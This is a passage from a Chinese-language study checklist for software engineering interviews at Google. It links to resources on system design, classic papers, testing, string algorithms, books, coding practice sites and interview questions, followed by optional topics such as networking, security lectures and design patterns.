推荐引擎是如何决定下一个你将会看到谁的?](http://highscalability.com/blog/2016/1/27/tinder-how-does-one-of-the-largest-recommendation-engines-de.html)\n        - [ ] [现代缓存设计](http://highscalability.com/blog/2016/1/25/design-of-a-modern-cache.html)\n        - [ ] [Facebook 实时视频流扩展](http://highscalability.com/blog/2016/1/13/live-video-streaming-at-facebook-scale.html)\n        - [ ] [在 Amazon AWS 上把服务扩展到 1100 万量级的新手教程](http://highscalability.com/blog/2016/1/11/a-beginners-guide-to-scaling-to-11-million-users-on-amazons.html)\n        - [ ] [对延时敏感的应用是否应该使用 Docker?](http://highscalability.com/blog/2015/12/16/how-does-the-use-of-docker-effect-latency.html)\n        - [ ] [AMP（Accelerated Mobile Pages）的存在是对 Google 的威胁么?](http://highscalability.com/blog/2015/12/14/does-amp-counter-an-existential-threat-to-google.html)\n        - [ ] [360 度解读 Netflix 技术栈](http://highscalability.com/blog/2015/11/9/a-360-degree-view-of-the-entire-netflix-stack.html)\n        - [ ] [延迟无处不在 - 如何搞定它？](http://highscalability.com/latency-everywhere-and-it-costs-you-sales-how-crush-it)\n        - [ ] [无服务器架构](http://martinfowler.com/articles/serverless.html)\n        - [ ] [是什么驱动着 Instagram: 上百个实例、几十种技术](http://instagram-engineering.tumblr.com/post/13649370142/what-powers-instagram-hundreds-of-instances)\n        - [ ] [Cinchcast 架构 - 每天处理 1500 小时的音频](http://highscalability.com/blog/2012/7/16/cinchcast-architecture-producing-1500-hours-of-audio-every-d.html)\n        - [ ] [Justin.Tv 实时视频播放架构](http://highscalability.com/blog/2010/3/16/justintvs-live-video-broadcasting-architecture.html)\n        - [ ] [Playfish's 社交游戏架构 - 每月五千万用户增长](http://highscalability.com/blog/2010/9/21/playfishs-social-gaming-architecture-50-million-monthly-user.html)\n        - [ ] [猫途鹰架构 - 40 万访客, 200 万动态页面访问, 30TB 数据](http://highscalability.com/blog/2011/6/27/tripadvisor-architecture-40m-visitors-200m-dynamic-page-view.html)\n        - [ ] [PlentyOfFish 架构](http://highscalability.com/plentyoffish-architecture)\n        - [ ] [Salesforce 架构 - 如何扛住 13 亿日交易量](http://highscalability.com/blog/2013/9/23/salesforce-architecture-how-they-handle-13-billion-transacti.html)\n        - [ ] [ESPN's 架构扩展](http://highscalability.com/blog/2013/11/4/espns-architecture-at-scale-operating-at-100000-duh-nuh-nuhs.html)\n        - [ ] 下面 『消息、序列化和消息系统』部分的内容会提到什么样的技术能把各种服务整合到一起\n        - [ ] Twitter:\n            - [O'Reilly MySQL CE 2011: Jeremy Cole, \"Big and Small Data at @Twitter\" (video)](https://www.youtube.com/watch?v=5cKTP36HVgI)\n            - [时间线的扩展](https://www.infoq.com/presentations/Twitter-Timeline-Scalability)\n        - 更多内容可以查看视频部分的『大规模数据挖掘』视频系列。\n    - [ ] 系统设计问题练习：下面有一些指导原则，每一个都有相关文档以及在现实中该如何处理。\n        - 复习: [HiredInTech 的系统设计](http://www.hiredintech.com/system-design/)\n        - [cheat sheet](https://github.com/jwasham/google-interview-university/blob/master/extras/cheat%20sheets/system-design.pdf)\n        - 流程:\n            1. 理解问题和范围:\n                - 在面试官的帮助下定义用例\n                - 提出附加功能的建议\n                - 去掉面试官认定范围以外的内容\n                - 假定高可用是必须的，而且要作为一个用例\n            2. 考虑约束:\n                - 问一下每月请求量\n                - 问一下每秒请求量 (他们可能会主动提到或者让你算一下)\n                - 评估读写所占的百分比\n                - 评估的时候牢记 2/8 原则\n                - 每秒写多少数据\n                - 总的数据存储量要考虑超过 5 年的情况\n                - 每秒读多少数据\n            3. 抽象设计:\n                - 分层 (服务, 数据, 缓存)\n                - 基础设施: 负载均衡, 消息\n                - 粗略的概括任何驱动整个服务的关键算法\n                - 考虑瓶颈并指出解决方案\n        - 练习:\n            - [设计一个 CDN 网络](http://repository.cmu.edu/cgi/viewcontent.cgi?article=2112&context=compsci)\n            - [设计一个随机唯一 ID 生成系统](https://blog.twitter.com/2010/announcing-snowflake)\n            - [设计一个在线多人卡牌游戏](http://www.indieflashblog.com/how-to-create-an-asynchronous-multiplayer-game.html)\n            - [设计一个 key-value 数据库](http://www.slideshare.net/dvirsky/introduction-to-redis)\n            - [设计一个函数获取过去某个时间段内前 K 个最高频访问的请求]( https://icmi.cs.ucsb.edu/research/tech_reports/reports/2005-23.pdf)\n            - [设计一个图片分享系统](http://highscalability.com/blog/2011/12/6/instagram-architecture-14-million-users-terabytes-of-photos.html)\n            - [设计一个推荐系统](http://ijcai13.org/files/tutorial_slides/td3.pdf)\n            - [设计一个短域名生成系统](http://www.hiredintech.com/system-design/the-system-design-process/)\n            - [设计一个缓存系统](https://www.adayinthelifeof.nl/2011/02/06/memcache-internals/)\n\n- ### 论文\n    - 有 Google 的论文和一些知名的论文.\n    - 你很可能实在没时间一篇篇完整的读完他们。我建议可以有选择的读其中一些论文里的核心部分。\n    - [ ] [1978: 通信顺序处理](http://spinroot.com/courses/summer/Papers/hoare_1978.pdf)\n        - [Go 实现](https://godoc.org/github.com/thomas11/csp)\n        - [喜欢经典的论文?](https://www.cs.cmu.edu/~crary/819-f09/)\n    - [ ] [2003: The Google 文件系统](http://static.googleusercontent.com/media/research.google.com/en//archive/gfs-sosp2003.pdf)\n        - 2012 年被 Colossus 取代了\n    - [ ] [2004: MapReduce: Simplified Data Processing on Large Clusters]( http://static.googleusercontent.com/media/research.google.com/en//archive/mapreduce-osdi04.pdf)\n        - 大多被云数据流取代了?\n    - [ ] [2007: 每个程序员都应该知道的内存知识 (非常长，作者建议跳过某些章节来阅读)](https://www.akkadia.org/drepper/cpumemory.pdf)\n    - [ ] [2012: Google 的 Colossus](https://www.wired.com/2012/07/google-colossus/)\n        - 没有论文\n    - [ ] 2012: AddressSanitizer: 快速的内存访问检查器:\n        - [论文](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/37752.pdf)\n        - [视频](https://www.usenix.org/conference/atc12/technical-sessions/presentation/serebryany)\n    - [ ] 2013: Spanner: Google 的分布式数据库:\n        - [论文](http://static.googleusercontent.com/media/research.google.com/en//archive/spanner-osdi2012.pdf)\n        - [视频](https://www.usenix.org/node/170855)\n    - [ ] [2014: Machine Learning: The High-Interest Credit Card of Technical Debt](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43146.pdf)\n    - [ ] [2015: Continuous Pipelines at Google](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43790.pdf)\n    - [ ] [2015: 大规模高可用: 构建 Google Ads 的数据基础设施](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/44686.pdf)\n    - [ ] [2015: TensorFlow: 异构分布式系统上的大规模机器学习](http://download.tensorflow.org/paper/whitepaper2015.pdf )\n    - [ ] [2015: 开发者应该如何搜索代码：用例学习](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43835.pdf)\n    - [ ] [2016: Borg, Omega, and Kubernetes](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/44843.pdf)\n\n- ### 测试\n    - 涵盖了:\n        - 单元测试是如何工作的\n        - 什么是模拟对象\n        - 什么是集成测试\n        - 什么是依赖注入\n    - [ ] [James Bach 讲敏捷软件测试 (video)](https://www.youtube.com/watch?v=SAhJf36_u5U)\n    - [ ] [James Bach 软件测试公开课 (video)](https://www.youtube.com/watch?v=ILkT_HV9DVU)\n    - [ ] [Steve Freeman - 测试驱动的开发 (video)](https://vimeo.com/83960706)\n        - [slides](http://gotocon.com/dl/goto-berlin-2013/slides/SteveFreeman_TestDrivenDevelopmentThatsNotWhatWeMeant.pdf)\n    - [ ] [测试驱动的开发已死。测试不朽。](http://david.heinemeierhansson.com/2014/tdd-is-dead-long-live-testing.html)\n    - [ ] [测试驱动的开发已死? (video)](https://www.youtube.com/watch?v=z9quxZsLcfo)\n    - [ ] [视频系列 (152 个) - 并不都是必须 (video)](https://www.youtube.com/watch?v=nzJapzxH_rE&list=PLAwxTw4SYaPkWVHeC_8aSIbSxE_NXI76g)\n    - [ ] [Python：测试驱动的 Web 开发](http://www.obeythetestinggoat.com/pages/book.html#toc)\n    - [ ] 依赖注入:\n        - [ ] [视频](https://www.youtube.com/watch?v=IKD2-MAkXyQ)\n        - [ ] [测试之道](http://jasonpolites.github.io/tao-of-testing/ch3-1.1.html)\n    - [ ] [如何编写测试](http://jasonpolites.github.io/tao-of-testing/ch4-1.1.html)\n\n- ### 调度\n    - 在操作系统中是如何运作的\n    - 在操作系统部分的视频里有很多资料\n\n- ### 实现系统例程\n    - 理解你使用的系统 API 底层有什么\n    - 你能自己实现它们么?\n\n- ### 字符串搜索和操作\n    - [ ] [文本的搜索模式 (video)](https://www.coursera.org/learn/data-structures/lecture/tAfHI/search-pattern-in-text)\n    - [ ] Rabin-Karp (videos):\n        - [Rabin Karps 算法](https://www.coursera.org/learn/data-structures/lecture/c0Qkw/rabin-karps-algorithm)\n        - [预先计算的优化](https://www.coursera.org/learn/data-structures/lecture/nYrc8/optimization-precomputation)\n        - [优化: 实现和分析](https://www.coursera.org/learn/data-structures/lecture/h4ZLc/optimization-implementation-and-analysis)\n        - [Table Doubling, Karp-Rabin](https://www.youtube.com/watch?v=BRO7mVIFt08&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=9)\n        - [滚动哈希](https://www.youtube.com/watch?v=w6nuXg0BISo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=32)\n    - [ ] Knuth-Morris-Pratt (KMP) 算法:\n        - [Pratt 算法](https://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm)\n        - [教程: Knuth-Morris-Pratt (KMP) 字符串匹配算法](https://www.youtube.com/watch?v=2ogqPWJSftE)\n    - [ ] Boyer–Moore 字符串搜索算法\n        - [Boyer-Moore字符串搜索算法](https://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string_search_algorithm)\n        - [Boyer-Moore-Horspool 高级字符串搜索算法 (video)](https://www.youtube.com/watch?v=QDZpzctPf10)\n    - [ ] [Coursera: 字符串的算法](https://www.coursera.org/learn/algorithms-on-strings/home/week/1)\n\n---\n\n## 终面\n\n    这一部分有一些短视频，你可以快速的观看和复习大多数重要概念。\n    这对经常性的巩固很有帮助。\n\n#### 综述:\n\n- [ ] 2-3 分钟的短视频系列 (23 个)\n    - [Videos](https://www.youtube.com/watch?v=r4r1DZcx1cM&list=PLmVb1OknmNJuC5POdcDv5oCS7_OUkDgpj&index=22)\n- [ ] 2-5 分钟的短视频系列 - Michael Sambol (18 个):\n    - [Videos](https://www.youtube.com/channel/UCzDJwLWoYCUQowF_nG3m5OQ)\n\n#### 排序:\n\n- [ ] 归并排序: https://www.youtube.com/watch?v=GCae1WNvnZM\n\n\n## 书籍\n\n### Google Coaching 里提到的\n\n**阅读并做练习:**\n\n- [ ] 算法设计手册 (Skiena)\n    - 书 (Kindle 上可以租到):\n        - [Algorithm Design Manual](http://www.amazon.com/Algorithm-Design-Manual-Steven-Skiena/dp/1849967202)\n    - Half.com 是一个资源丰富且性价比很高的在线书店.\n    - 答案:\n        - [解答](http://www.algorithm.cs.sunysb.edu/algowiki/index.php/The_Algorithms_Design_Manual_(Second_Edition))\n        - [解答](http://blog.panictank.net/category/algorithmndesignmanualsolutions/page/2/)\n    - [勘误表](http://www3.cs.stonybrook.edu/~skiena/algorist/book/errata)\n\n    read and do exercises from the books below. Then move to coding challenges (further down below)\n    一旦你理解了每日计划里的所有内容，就去读上面所列的书并完成练习，然后开始读下面所列的书并做练习，之后就可以开始实战写代码了（本文再往后的部分）\n\n**首先阅读:**\n- [ ] [Programming Interviews Exposed: Secrets to Landing Your Next Job, 2nd Edition](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047012167X.html)\n\n**然后阅读 (这本获得了很多推荐， 但是不在 Google coaching 的文档里):**\n- [ ] [Cracking the Coding Interview, 6th Edition](http://www.amazon.com/Cracking-Coding-Interview-6th-Programming/dp/0984782850/)\n    - 如果你看到有人在看 \"The Google Resume\", 实际上它和 \"Cracking the Coding Interview\" 是同一个作者写的，而且后者是升级版。\n\n### 附加书单\n\n这些没有被 Google 推荐阅读，不过我因为需要这些背景知识所以也把它们列在了这里。\n\n- [ ] C Programming Language, Vol 2\n    - [练习的答案](https://github.com/lekkas/c-algorithms)\n\n- [ ] C++ Primer Plus, 6th Edition\n\n- [ ] [《Unxi 环境高级编程》 The Unix Programming Environment](http://product.half.ebay.com/The-UNIX-Programming-Environment-by-Brian-W-Kernighan-and-Rob-Pike-1983-Other/54385&tg=info)\n\n- [ ] [《编程珠玑》 Programming Pearls](http://www.amazon.com/Programming-Pearls-2nd-Jon-Bentley/dp/0201657880)\n\n- [ ] [Algorithms and Programming: Problems and Solutions](http://www.amazon.com/Algorithms-Programming-Solutions-Alexander-Shen/dp/0817638474)\n\n### 如果你有时间\n\n- [ ] [Introduction to Algorithms](https://www.amazon.com/Introduction-Algorithms-3rd-MIT-Press/dp/0262033844)\n\n- [ ] [Elements of Programming Interviews](https://www.amazon.com/Elements-Programming-Interviews-Insiders-Guide/dp/1479274836)\n    - 如果你希望在面试里用 C++ 写代码，这本书的代码全都是 C++ 写的\n    - 通常情况下能找到解决方案的好书.\n\n## 编码练习和挑战\n\n一旦你学会了理论基础，就应该把它们拿出来练练。\n尽量坚持每天做编码练习，越多越好。\n\n编程问题预备:\n\n- [ ] [不错的介绍 (摘自 System Design 章节): 算法设计:](http://www.hiredintech.com/algorithm-design/)\n- [ ] [如何找到解决方案](https://www.topcoder.com/community/data-science/data-science-tutorials/how-to-find-a-solution/)\n- [ ] [如何剖析 Topcoder 题目描述](https://www.topcoder.com/community/data-science/data-science-tutorials/how-to-dissect-a-topcoder-problem-statement/)\n- [ ] [Topcoders 里用到的数学](https://www.topcoder.com/community/data-science/data-science-tutorials/mathematics-for-topcoders/)\n- [ ] [动态规划 – 从入门到精通](https://www.topcoder.com/community/data-science/data-science-tutorials/dynamic-programming-from-novice-to-advanced/)\n\n- [MIT 面试材料](https://courses.csail.mit.edu/iap/interview/materials.php)\n\n- [针对编程语言本身的练习](http://exercism.io/languages)\n\n编码练习平台:\n\n- [LeetCode](https://leetcode.com/)\n- [TopCoder](https://www.topcoder.com/)\n- [Project Euler (数学方向为主)](https://projecteuler.net/index.php?section=problems)\n- [Codewars](http://www.codewars.com)\n- [HackerRank](https://www.hackerrank.com/)\n- [Codility](https://codility.com/programmers/)\n- [InterviewCake](https://www.interviewcake.com/)\n- [InterviewBit](https://www.interviewbit.com/invite/icjf)\n\n- [模拟大公司的面试](http://www.gainlo.co/)\n\n## 当你临近面试时\n\n- [ ] 搞定代码面试 (videos):\n    - [Cracking The Code Interview](https://www.youtube.com/watch?v=4NIb9l3imAo)\n    - [Cracking the Coding Interview - 全栈系列](https://www.youtube.com/watch?v=Eg5-tdAwclo)\n    - [Ask Me Anything: Gayle Laakmann McDowell (Cracking the Coding Interview 的作者)](https://www.youtube.com/watch?v=1fqxMuPmGak)\n\n## 你的简历\n\n- [10 条小贴士让你写出一份还算不错的简历](http://steve-yegge.blogspot.co.uk/2007_09_01_archive.html)\n- 这是搞定面试的第一个关键步骤\n\n\n## 当面试来临的时候\n\n    随着下面列举的问题思考下你可能会遇到的 20 个面试问题\n    每个问题准备 2-3 种回答\n    准备点故事，不要只是摆一些你完成的事情的数据，相信我，人人都喜欢听故事\n\n- 你为什么想得到这份工作？\n- 你解决过的最有难度的问题是什么？\n- 面对过的最大挑战是什么?\n- 见过的最好或者最坏的设计是怎么样的?\n- 对某项 Google 产品提出改进建议。\n- 你作为一个个体同时也是团队的一员，如何达到最好的工作状态?\n- 你的什么技能或者经验是你的角色中不可或缺的?为什么？\n- 你在某份工作或某个项目中最享受的是什么?\n- 你在某份工作或某个项目中面临过的最大挑战是什么?\n- 你在某份工作或某个项目中遇到过的最蛋疼的 Bug 是什么样的？\n- 你在某份工作或某个项目中学到了什么？\n- 你在某份工作或某个项目中哪些地方还可以做的更好？\n\n## 问面试官的问题\n\n    我会问的一些：(可能我已经知道了答案但我想听听面试官的看法或者了解团队的前景):\n\n- 团队多大规模?\n- 开发周期是怎样的? 会使用瀑布流/极限编程/敏捷开发么?\n- 经常会为 deadline 加班么? 或者是有弹性的?\n- 团队里怎么做技术选型?\n- 每周平均开多少次会?\n- 你觉得工作环境有助于员工集中精力吗?\n- 目前正在做什么工作?\n- 喜欢这些事情吗?\n- 工作期限是怎么样的?\n\n## 当你获得了梦想的职位\n\n我还能说些什么呢，恭喜你！\n\n- [我希望在 Google 的第一天就知道的 10 件事](https://medium.com/@moonstorming/10-things-i-wish-i-knew-on-my-first-day-at-google-107581d87286#.livxn7clw)\n\n坚持继续学习。\n\n得到这份工作只是一个开始。\n\n---\n\n    *****************************************************************************************************\n    *****************************************************************************************************\n\n    下面的内容都是可选的。这些是我的推荐，不是 Google 的。\n    通过学习这些内容，你将会得到更多的有关 CS 的概念，并将为所有的软件工程工作做更好的准备。\n\n    *****************************************************************************************************\n    *****************************************************************************************************\n\n---\n\n## 附加的学习\n\n- ### Unicode\n    - [ ] [每一个软件开发者的绝对最低限度，必须要知道的关于 Unicode 和字符集知识]( http://www.joelonsoftware.com/articles/Unicode.html)\n    - [ ] [关于处理文本需要的编码和字符集, 每个程序员绝对需要知道的知识](http://kunststube.net/encoding/)\n\n- ### 字节顺序\n    - [ ] [大、小端字节序](https://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Data/endian.html)\n    - [ ] [大端字节 Vs 小端字节(视频)](https://www.youtube.com/watch?v=JrNF0KRAlyo)\n    - [ ] [大、小端字节序的里里外外(Big And Little Endian Inside/Out) (视频)](https://www.youtube.com/watch?v=oBSuXP-1Tc0)\n        - 内核开发者的讨论非常技术性，如果大多数都超出了你的理解范围，不要太担心。\n        - 前半段已经足够了。\n\n- ### Emacs and vi(m)\n    - Yegge 的建议，从一个很早以前的亚马逊招聘信息中而来：熟悉基于 unix 的代码编辑器\n    - vi(m):\n        - [使用 vim 进行编辑 01 - 安装, 设置和模式 (视频)](https://www.youtube.com/watch?v=5givLEMcINQ&index=1&list=PL13bz4SHGmRxlZVmWQ9DvXo1fEg4UdGkr)\n        - [VIM 的冒险之旅](http://vim-adventures.com/)\n        - 4 个视频集:\n            - [vi/vim 编辑器 - 课程 1](https://www.youtube.com/watch?v=SI8TeVMX8pk)\n            - [vi/vim 编辑器 - 课程 2](https://www.youtube.com/watch?v=F3OO7ZIOaJE)\n            - [vi/vim 编辑器 - 课程 4](https://www.youtube.com/watch?v=1lYD5gwgZIA)\n            - [vi/vim 编辑器 - 课程 3](https://www.youtube.com/watch?v=ZYEccA_nMaI)\n        - [使用 Vi 而不是 Emacs](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Using_Vi_instead_of_Emacs)\n    - emacs:\n        - [基础 Emacs 教程 (视频)](https://www.youtube.com/watch?v=hbmV1bnQ-i0)\n        - 3 个视频集:\n            - [Emacs 教程 (初学者) -第 1 部分- 文件命令, 剪切/复制/粘贴,  自定义命令](https://www.youtube.com/watch?v=ujODL7MD04Q)\n            - [Emacs 教程 (初学者 -第 2 部分- Buffer 管理, 搜索, M-x grep 和 rgrep 模式](https://www.youtube.com/watch?v=XWpsRupJ4II)\n            - [Emacs 教程 (初学者 -第 3 部分- 表达式, 声明, ~/.emacs 文件和包机制](https://www.youtube.com/watch?v=paSgzPso-yc)\n        - [Evil 模式: 或许, 我是怎样对 Emacs 路人转粉的 (视频)](https://www.youtube.com/watch?v=JWD1Fpdd4Pc)\n        - [使用 Emacs 开发 C 程序](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Writing_C_programs_with_Emacs)\n        - [(或许) 深度组织模式:管理结构 (视频)](https://www.youtube.com/watch?v=nsGYet02bEk)\n\n- ### Unix 命令行工具\n    - 下列内容中的优秀工具由的 Yegge 推荐，Yegge 目前致力于 Amazon 人事招聘处。\n    - [ ] bash\n    - [ ] cat\n    - [ ] grep\n    - [ ] sed\n    - [ ] awk\n    - [ ] curl or wget\n    - [ ] sort\n    - [ ] tr\n    - [ ] uniq\n    - [ ] [strace](https://en.wikipedia.org/wiki/Strace)\n    - [ ] [tcpdump](https://danielmiessler.com/study/tcpdump/)\n\n- ### 信息资源 (视频)\n    - [ ] [Khan Academy 可汗学院](https://www.khanacademy.org/computing/computer-science/informationtheory)\n    - [ ] 更多有关马尔可夫的内容:\n        - [ ] [Core Markov Text Generation马尔可夫内容生成](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/waxgx/core-markov-text-generation)\n        - [ ] [Core Implementing Markov Text Generation马尔可夫内容生成补充](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/gZhiC/core-implementing-markov-text-generation)\n        - [ ] [Project = Markov Text Generation Walk Through一个马尔可夫内容生成器的项目](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/EUjrq/project-markov-text-generation-walk-through)\n    - 关于更多信息，请参照下方 MIT 6.050J 信息和系统复杂度的内容.\n\n- ### 奇偶校验位 & 汉明码 (视频)\n    - [ ] [入门](https://www.youtube.com/watch?v=q-3BctoUpHE)\n    - [ ] [奇偶校验位](https://www.youtube.com/watch?v=DdMcAUlxh1M)\n    - [ ] 汉明码(Hamming Code):\n        - [发现错误](https://www.youtube.com/watch?v=1A_NcXxdoCc)\n        - [修正错误](https://www.youtube.com/watch?v=JAMLuxdHH8o)\n    - [ ] [检查错误](https://www.youtube.com/watch?v=wbH2VxzmoZk)\n\n- ### 系统熵值（系统复杂度）\n    - 请参考下方视频\n    - 观看之前，请先确定观看了信息论的视频\n    - [ ] [信息理论, 克劳德·香农, 熵值, 系统冗余, 数据比特压缩 (视频)](https://youtu.be/JnJq3Py0dyM?t=176)\n\n- ### 密码学\n    - 请参考下方视频\n    - 观看之前，请先确定观看了信息论的视频\n    - [ ] [可汗学院](https://www.khanacademy.org/computing/computer-science/密码学)\n    - [ ] [密码学: 哈希函数](https://www.youtube.com/watch?v=KqqOXndnvic&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=30)\n    - [ ] [密码学: 加密](https://www.youtube.com/watch?v=9TNI2wHmaeI&index=31&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n\n- ### 压缩\n    - 观看之前，请先确定观看了信息论的视频\n    - [ ] 压缩 (视频):\n        - [ ] [压缩](https://www.youtube.com/watch?v=Lto-ajuqW3w)\n        - [ ] [压缩熵值](https://www.youtube.com/watch?v=M5c_RFKVkko)\n        - [ ] [由上而下的树 (霍夫曼编码树)](https://www.youtube.com/watch?v=umTbivyJoiI)\n        - [ ] [额外比特 - 霍夫曼编码树](https://www.youtube.com/watch?v=DV8efuB3h2g)\n        - [ ] [优雅的压缩数据 (无损数据压缩方法)](https://www.youtube.com/watch?v=goOa3DGezUA)\n        - [ ] [Text Compression Meets Probabilities](https://www.youtube.com/watch?v=cCDCfoHTsaU)\n    - [ ] [数据压缩的艺术](https://www.youtube.com/playlist?list=PLOU2XLYxmsIJGErt5rrCqaSGTMyyqNt2H)\n    - [ ] [(可选) 谷歌开发者: GZIP 还差远了呢!](https://www.youtube.com/watch?v=whGwm0Lky2s)\n\n- ### 网络 (视频)\n    - [ ] [可汗学院](https://www.khanacademy.org/computing/computer-science/internet-intro)\n    - [ ] [网络传输协议中的数据压缩](https://www.youtube.com/watch?v=Vdc8TCESIg8)\n    - [ ] [TCP/IP 和 OSI 模型解析!](https://www.youtube.com/watch?v=e5DEVa9eSN0)\n    - [ ] [TCP/IP 教程：传输数据包.](https://www.youtube.com/watch?v=nomyRJehhnM)\n    - [ ] [HTTP](https://www.youtube.com/watch?v=WGJrLqtX7As)\n    - [ ] [SSL 和 HTTPS](https://www.youtube.com/watch?v=S2iBR2ZlZf0)\n    - [ ] [SSL/TLS](https://www.youtube.com/watch?v=Rp3iZUvXWlM)\n    - [ ] [HTTP 2.0](https://www.youtube.com/watch?v=E9FxNzv1Tr8)\n    - [ ] [视频](https://www.youtube.com/playlist?list=PLEbnTDJUr_IegfoqO4iPnPYQui46QqT0j)\n    - [ ] [子网络解密 - 第五部分 经典内部域名指向 CIDR 标记](https://www.youtube.com/watch?v=t5xYI0jzOf4)\n\n- ### 计算机安全\n    - [MIT](https://www.youtube.com/playlist?list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n        - [ ] [威胁模型：入门](https://www.youtube.com/watch?v=GqmQg-cszw4&index=1&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n        - [ ] [控制攻击](https://www.youtube.com/watch?v=6bwzNg5qQ0o&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&index=2)\n        - [ ] [缓冲数据注入和防御](https://www.youtube.com/watch?v=drQyrzRoRiA&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&index=3)\n        - [ ] [优先权区分](https://www.youtube.com/watch?v=6SIJmoE9L9g&index=4&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n        - [ ] [能力](https://www.youtube.com/watch?v=8VqTSY-11F4&index=5&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n        - [ ] [在沙盒中运行原生代码](https://www.youtube.com/watch?v=VEV74hwASeU&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&index=6)\n        - [ ] [网络安全模型](https://www.youtube.com/watch?v=chkFBigodIw&index=7&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n        - [ ] [网络安全应用](https://www.youtube.com/watch?v=EBQIGy1ROLY&index=8&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n        - [ ] [标志化执行](https://www.youtube.com/watch?v=yRVZPvHYHzw&index=9&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n        - [ ] [网络安全](https://www.youtube.com/watch?v=SIEVvk3NVuk&index=11&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n        - [ ] [网络协议](https://www.youtube.com/watch?v=QOtA76ga_fY&index=12&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n        - [ ] [旁路攻击](https://www.youtube.com/watch?v=PuVMkSEcPiI&index=15&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n\n- ### 释放缓存\n    - [ ] [Java 释放缓存; 片段化数据 (视频)](https://www.youtube.com/watch?v=StdfeXaKGEc&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&index=25)\n    - [ ] [编译器 (视频)](https://www.youtube.com/playlist?list=PLO9y7hOkmmSGTy5z6HZ-W4k2y8WXF7Bff)\n    - [ ] [Python 释放缓存 (视频)](https://www.youtube.com/watch?v=iHVs_HkjdmI)\n    - [ ] [深度解析：论释放缓存在 JAVA 中的重要性](https://www.infoq.com/presentations/garbage-collection-benefits)\n    - [ ] [深度解析：论释放缓存在 Python 中的重要性(视频)](https://www.youtube.com/watch?v=P-8Z0-MhdQs&list=PLdzf4Clw0VbOEWOS_sLhT_9zaiQDrS5AR&index=3)\n\n- ### 并行/并发编程\n    - [ ] [Coursera (Scala)](https://www.coursera.org/learn/parprog1/home/week/1)\n    - [ ] [论并行/并发编程如何提高 Python 执行效率 (视频)](https://www.youtube.com/watch?v=uY85GkaYzBk)\n\n- ### 设计模式\n    - [ ] [UML统一建模语言概览 (视频)](https://www.youtube.com/watch?v=3cmzqZzwNDM&list=PLGLfVvz_LVvQ5G-LdJ8RLqe-ndo7QITYc&index=3)\n    - [ ] 主要有如下的设计模式:\n        - [ ] s(strategy)\n        - [ ] singleton\n        - [ ] adapter\n        - [ ] prototype\n        - [ ] decorator\n        - [ ] visitor\n        - [ ] factory, abstract factory\n        - [ ] facade\n        - [ ] observer\n        - [ ] proxy\n        - [ ] delegate\n        - [ ] command\n        - [ ] state\n        - [ ] memento\n        - [ ] iterator\n        - [ ] composite\n        - [ ] flyweight\n    - [ ] [第六章 (第 1 部分 ) - 设计模式 (视频)](https://youtu.be/LAP2A80Ajrg?list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO&t=3344)\n    - [ ] [第六章 (第 2 部分 ) - Abstraction-Occurrence, General Hierarchy, Player-Role, Singleton, Observer, Delegation (视频)](https://www.youtube.com/watch?v=U8-PGsjvZc4&index=12&list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO)\n    - [ ] [第六章 (第 3 部分 ) - Adapter, Facade, Immutable, Read-Only Interface, Proxy (video)](https://www.youtube.com/watch?v=7sduBHuex4c&index=13&list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO)\n    - [ ] [视频](https://www.youtube.com/playlist?list=PLF206E906175C7E07)\n    - [ ] [Head Fisrt 设计模型](https://www.amazon.com/Head-First-Design-Patterns-Freeman/dp/0596007124)\n        - 尽管这本书叫做设计模式：重复使用模块，但是我还是认为Head First是对于新手来说很不错的书。\n    - [ ] [基于实际操作对于入门开发者的建议](https://sourcemaking.com/design-patterns-and-tips)\n\n- ### 信息传输, 序列化,和队列化的系统\n    - [ ] [Thrift](https://thrift.apache.org/)\n        - [教程](http://thrift-tutorial.readthedocs.io/en/latest/intro.html)\n    - [ ] [协议缓冲](https://developers.google.com/protocol-buffers/)\n        - [教程](https://developers.google.com/protocol-buffers/docs/tutorials)\n    - [ ] [gRPC](http://www.grpc.io/)\n        - [gRPC 对于JAVA开发者的入门教程（视频）](https://www.youtube.com/watch?v=5tmPvSe7xXQ&list=PLcTqM9n_dieN0k1nSeN36Z_ppKnvMJoly&index=1)\n    - [ ] [Redis](http://redis.io/)\n        - [教程](http://try.redis.io/)\n    - [ ] [Amazon的 SQS 系统 (队列)](https://aws.amazon.com/sqs/)\n    - [ ] [Amazon的 SNS 系统 